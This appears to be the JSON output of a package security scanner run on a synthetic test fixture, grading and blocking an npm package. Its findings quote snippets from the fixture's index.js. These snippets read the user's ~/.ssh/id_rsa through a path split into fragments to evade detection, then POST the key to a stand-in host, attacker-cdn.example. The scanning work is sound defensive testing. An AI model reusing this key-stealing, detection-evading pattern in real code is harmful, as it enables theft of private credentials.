{
  "scannerVersion": "1.5.1",
  "fixture": "examples/onboarding-malicious.json",
  "synthetic": true,
  "exitCode": 2,
  "report": {
    "schemaVersion": 1,
    "verdict": "block",
    "grade": "F",
    "score": 59,
    "parameters": {
      "installHooks": {
        "score": 100,
        "grade": "A+",
        "weight": 0.1,
        "weightedScore": 10,
        "findingCount": 0
      },
      "codeExecution": {
        "score": 100,
        "grade": "A+",
        "weight": 0.15,
        "weightedScore": 15,
        "findingCount": 0
      },
      "dataAccess": {
        "score": 30,
        "grade": "F",
        "weight": 0.15,
        "weightedScore": 4.5,
        "findingCount": 1
      },
      "networkExposure": {
        "score": 95,
        "grade": "A",
        "weight": 0.15,
        "weightedScore": 14.25,
        "findingCount": 1
      },
      "persistence": {
        "score": 100,
        "grade": "A+",
        "weight": 0.1,
        "weightedScore": 10,
        "findingCount": 0
      },
      "obfuscation": {
        "score": 100,
        "grade": "A+",
        "weight": 0.1,
        "weightedScore": 10,
        "findingCount": 0
      },
      "knownVulnerabilities": {
        "score": 100,
        "grade": "A+",
        "weight": 0.15,
        "weightedScore": 15,
        "findingCount": 0
      },
      "provenance": {
        "score": 85,
        "grade": "B",
        "weight": 0.1,
        "weightedScore": 8.5,
        "findingCount": 3
      },
      "injectionResistance": {
        "score": 100,
        "grade": "A+",
        "weight": 0.1,
        "weightedScore": 10,
        "findingCount": 0
      },
      "evidenceCompleteness": {
        "score": 90,
        "grade": "A-",
        "weight": 0.05,
        "weightedScore": 4.5,
        "findingCount": 2
      }
    },
    "summary": "Block installation: 1 high-severity finding(s) require rejection or deep manual investigation.",
    "packageName": "pkgxray-onboarding-inert-fixture",
    "riskBands": [
      {
        "band": "credential-access",
        "label": "credential-access",
        "severity": "high",
        "count": 1,
        "examples": [
          "index.js"
        ],
        "rationale": "Reads a path to a credential / wallet / key store near a filesystem read."
      },
      {
        "band": "missing-metadata",
        "label": "missing-metadata",
        "severity": "info",
        "count": 3,
        "examples": [
          "package.json",
          "NPM_METADATA",
          "GITHUB_METADATA"
        ],
        "rationale": "Provenance metadata (npm registry / GitHub) absent or weak; cross-checks skipped."
      }
    ],
    "findings": [
      {
        "severity": "high",
        "category": "credential-access",
        "file": "index.js",
        "snippet": "onst pieces = [\".s\", \"sh\", \"id_r\", \"sa\"]; const key = fs.readFileSync(process.env.HOME + \"/.ssh/id_rsa\"); const https = require(\"https\"); https.request({ host: \"attacker-cdn.exampl",
        "rationale": "Reads or references ssh-private-key near a filesystem read primitive \u2014 the path was assembled from split string fragments to evade static detection."
      },
      {
        "severity": "info",
        "category": "missing-metadata",
        "file": "GITHUB_METADATA",
        "snippet": "GITHUB_METADATA was not provided.",
        "rationale": "Supply-chain reputation and repository consistency could not be checked."
      },
      {
        "severity": "info",
        "category": "network-access",
        "file": "index.js",
        "snippet": "ieces[0] + pieces[1] + \"/\" + pieces[2] + pieces[3]); const https = require(\"ht\" + \"tps\"); https.request({ host: \"attacker-cdn.example\", method: \"POST\" }).end(key);",
        "rationale": "Performs outbound network activity."
      },
      {
        "severity": "info",
        "category": "missing-metadata",
        "file": "NPM_METADATA",
        "snippet": "NPM_METADATA was not provided.",
        "rationale": "Supply-chain reputation and repository consistency could not be checked."
      },
      {
        "severity": "info",
        "category": "supply-chain-signal",
        "file": "package.json",
        "snippet": "\"repository\" field is missing.",
        "rationale": "Missing repository metadata reduces provenance confidence."
      }
    ],
    "configEffects": {
      "muted": [],
      "mutedCount": 0,
      "allowlisted": null,
      "ignoredAllow": null,
      "notices": []
    }
  }
}
